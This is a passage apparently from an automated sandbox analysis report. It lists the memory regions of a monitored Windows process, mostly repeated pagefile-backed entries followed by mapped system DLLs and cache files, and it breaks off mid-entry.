0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 409 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 410 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 411 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 412 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 413 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 414 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 415 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 416 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 417 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 418 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 419 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 420 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 421 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 422 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 423 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 424 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 425 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 426 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 427 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 428 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 429 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 430 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 431 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 432 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 433 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 434 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 435 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 436 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 437 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 438 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 439 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 440 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 441 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 442 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 443 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 444 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 445 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 446 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 447 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 448 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 449 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 450 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 451 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 452 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 453 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 454 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 455 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 456 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 457 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 458 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 459 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 460 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 461 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 462 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 463 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 464 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 465 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 466 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 467 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 468 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 469 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 470 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 471 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 472 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 473 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 474 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 475 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 476 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 477 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 478 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 479 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 480 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 481 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 482 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 483 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 484 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 485 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 486 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 487 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 488 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 489 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 490 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 491 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 492 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 493 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 494 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 495 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 496 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 497 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 498 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 499 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 500 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 501 start_va = 0x32b0000 end_va = 0x357efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 502 start_va = 0x240000 end_va = 0x240fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 503 start_va = 0x280000 end_va = 0x2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 504 start_va = 0x1ea0000 end_va = 0x1f9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ea0000" filename = "" Region: id = 505 start_va = 0x7efd8000 end_va = 0x7efdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 506 start_va = 0x73840000 end_va = 0x73934fff monitored = 0 entry_point = 0x73850d9e region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\SysWOW64\\propsys.dll" (normalized: "c:\\windows\\syswow64\\propsys.dll") Region: id = 507 start_va = 0x75f60000 end_va = 0x75feefff monitored = 0 entry_point = 0x75f63fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 508 start_va = 0x1e80000 end_va = 0x1e81fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e80000" filename = "" Region: id = 509 start_va = 0x73b80000 end_va = 0x73d1dfff monitored = 0 entry_point = 0x73bae6b5 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 510 start_va = 0x1fa0000 end_va = 0x1fa0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 511 start_va = 0x25e0000 end_va = 0x25e1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000025e0000" filename = "" Region: id = 512 start_va = 0x73940000 end_va = 0x7398bfff monitored = 0 entry_point = 0x73942c14 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 513 start_va = 0x1fa0000 end_va = 0x1fa0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001fa0000" filename = "" Region: id = 514 start_va = 0x757a0000 end_va = 0x75822fff monitored = 0 entry_point = 0x757a23d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 515 start_va = 0x25f0000 end_va = 0x25f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000025f0000" filename = "" Region: id = 516 start_va = 0x73f30000 end_va = 0x749affff monitored = 0 entry_point = 0x73f36b95 region_type = mapped_file name = "ieframe.dll" filename = "\\Windows\\SysWOW64\\ieframe.dll" (normalized: "c:\\windows\\syswow64\\ieframe.dll") Region: id = 517 start_va = 0x75110000 end_va = 0x75114fff monitored = 0 entry_point = 0x75111438 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 518 start_va = 0x73ec0000 end_va = 0x73efbfff monitored = 0 entry_point = 0x73ec3089 region_type = mapped_file name = "oleacc.dll" filename = "\\Windows\\SysWOW64\\oleacc.dll" (normalized: "c:\\windows\\syswow64\\oleacc.dll") Region: id = 519 start_va = 0x75910000 end_va = 0x75b0afff monitored = 0 entry_point = 0x759122d9 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 520 start_va = 0x2600000 end_va = 0x2600fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "oleaccrc.dll" filename = "\\Windows\\SysWOW64\\oleaccrc.dll" (normalized: "c:\\windows\\syswow64\\oleaccrc.dll") Region: id = 521 start_va = 0x2610000 end_va = 0x2611fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002610000" filename = "" Region: id = 522 start_va = 0x76f30000 end_va = 0x77065fff monitored = 0 entry_point = 0x76f31b35 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 523 start_va = 0x76e30000 end_va = 0x76f24fff monitored = 0 entry_point = 0x76e31865 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 524 start_va = 0x2620000 end_va = 0x265ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002620000" filename = "" Region: id = 525 start_va = 0x27a0000 end_va = 0x289ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000027a0000" filename = "" Region: id = 526 start_va = 0x73df0000 end_va = 0x73e10fff monitored = 0 entry_point = 0x73df145e region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\SysWOW64\\ntmarta.dll" (normalized: "c:\\windows\\syswow64\\ntmarta.dll") Region: id = 527 start_va = 0x7efd5000 end_va = 0x7efd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 528 start_va = 0x752d0000 end_va = 0x75314fff monitored = 0 entry_point = 0x752d11e1 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\SysWOW64\\Wldap32.dll" (normalized: "c:\\windows\\syswow64\\wldap32.dll") Region: id = 529 start_va = 0x75320000 end_va = 0x754bcfff monitored = 0 entry_point = 0x753217e7 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\SysWOW64\\setupapi.dll" (normalized: "c:\\windows\\syswow64\\setupapi.dll") Region: id = 530 start_va = 0x756b0000 end_va = 0x756c1fff monitored = 0 entry_point = 0x756b1441 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\SysWOW64\\devobj.dll" (normalized: "c:\\windows\\syswow64\\devobj.dll") Region: id = 531 start_va = 0x75ff0000 end_va = 0x76016fff monitored = 0 entry_point = 0x75ff58b9 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 532 start_va = 0x2660000 end_va = 0x266cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\setupapi.dll.mui") Region: id = 533 start_va = 0x2670000 end_va = 0x2673fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 534 start_va = 0x2920000 end_va = 0x2936fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000006.db" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000006.db" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000006.db") Region: id = 535 start_va = 0x29c0000 end_va = 0x2abffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000029c0000" filename = "" Region: id = 536 start_va = 0x2940000 end_va = 0x2940fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002940000" filename = "" Region: id = 537 start_va = 0x2d70000 end_va = 0x2e70fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002d70000" filename = "" Region: id = 538 start_va = 0x2ef0000 end_va = 0x2feffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002ef0000" filename = "" Region: id = 539 start_va = 0x2d70000 end_va = 0x2e70fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002d70000" filename = "" Region: id = 540 start_va = 0x2d70000 end_va = 0x2e70fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002d70000" filename = "" Region: id = 541 start_va = 0x73e20000 end_va = 0x73e2afff monitored = 0 entry_point = 0x73e21992 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 542 start_va = 0x2950000 end_va = 0x29abfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "shell32.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\shell32.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\shell32.dll.mui") Region: id = 543 start_va = 0x2670000 end_va = 0x2673fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 544 start_va = 0x2ac0000 end_va = 0x2aeffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000e.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000e.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000e.db") Region: id = 545 start_va = 0x2b20000 end_va = 0x2c1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002b20000" filename = "" Region: id = 546 start_va = 0x29b0000 end_va = 0x29b3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 547 start_va = 0x2d70000 end_va = 0x2dd5fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 548 start_va = 0x2af0000 end_va = 0x2af0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002af0000" filename = "" Region: id = 549 start_va = 0x2c20000 end_va = 0x2c5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c20000" filename = "" Region: id = 550 start_va = 0x2c70000 end_va = 0x2d6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c70000" filename = "" Region: id = 551 start_va = 0x2de0000 end_va = 0x2edffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002de0000" filename = "" Region: id = 552 start_va = 0x7efad000 end_va = 0x7efaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 553 start_va = 0x280000 end_va = 0x2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 554 start_va = 0x1ea0000 end_va = 0x1f9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ea0000" filename = "" Region: id = 555 start_va = 0x7efd8000 end_va = 0x7efdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 688 start_va = 0x2ff0000 end_va = 0x30effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002ff0000" filename = "" Region: id = 689 start_va = 0x31b0000 end_va = 0x32affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000031b0000" filename = "" Region: id = 690 start_va = 0x3580000 end_va = 0x377ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003580000" filename = "" Region: id = 787 start_va = 0x1fa0000 end_va = 0x1fa0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mpr.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\mpr.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\mpr.dll.mui") Region: id = 788 start_va = 0x74db0000 end_va = 0x74db7fff monitored = 0 entry_point = 0x74db1356 region_type = mapped_file name = "drprov.dll" filename = "\\Windows\\SysWOW64\\drprov.dll" (normalized: "c:\\windows\\syswow64\\drprov.dll") Region: id = 789 start_va = 0x74d80000 end_va = 0x74da8fff monitored = 0 entry_point = 0x74d86b19 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\SysWOW64\\winsta.dll" (normalized: "c:\\windows\\syswow64\\winsta.dll") Region: id = 790 start_va = 0x74d60000 end_va = 0x74d73fff monitored = 0 entry_point = 0x74d615c9 region_type = mapped_file name = "ntlanman.dll" filename = "\\Windows\\SysWOW64\\ntlanman.dll" (normalized: "c:\\windows\\syswow64\\ntlanman.dll") Region: id = 791 start_va = 0x74d40000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74d41549 region_type = mapped_file name = "davclnt.dll" filename = "\\Windows\\SysWOW64\\davclnt.dll" (normalized: "c:\\windows\\syswow64\\davclnt.dll") Region: id = 792 start_va = 0x74d30000 end_va = 0x74d37fff monitored = 0 entry_point = 0x74d33c87 region_type = mapped_file name = "davhlpr.dll" filename = "\\Windows\\SysWOW64\\davhlpr.dll" (normalized: "c:\\windows\\syswow64\\davhlpr.dll") Region: id = 793 start_va = 0x74d20000 end_va = 0x74d2efff monitored = 0 entry_point = 0x74d212a1 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 794 start_va = 0x74d10000 end_va = 0x74d1afff monitored = 0 entry_point = 0x74d11200 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\SysWOW64\\cscapi.dll" (normalized: "c:\\windows\\syswow64\\cscapi.dll") Region: id = 795 start_va = 0x74d00000 end_va = 0x74d08fff monitored = 0 entry_point = 0x74d015a6 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 796 start_va = 0x74cf0000 end_va = 0x74cfcfff monitored = 0 entry_point = 0x74cf12d0 region_type = mapped_file name = 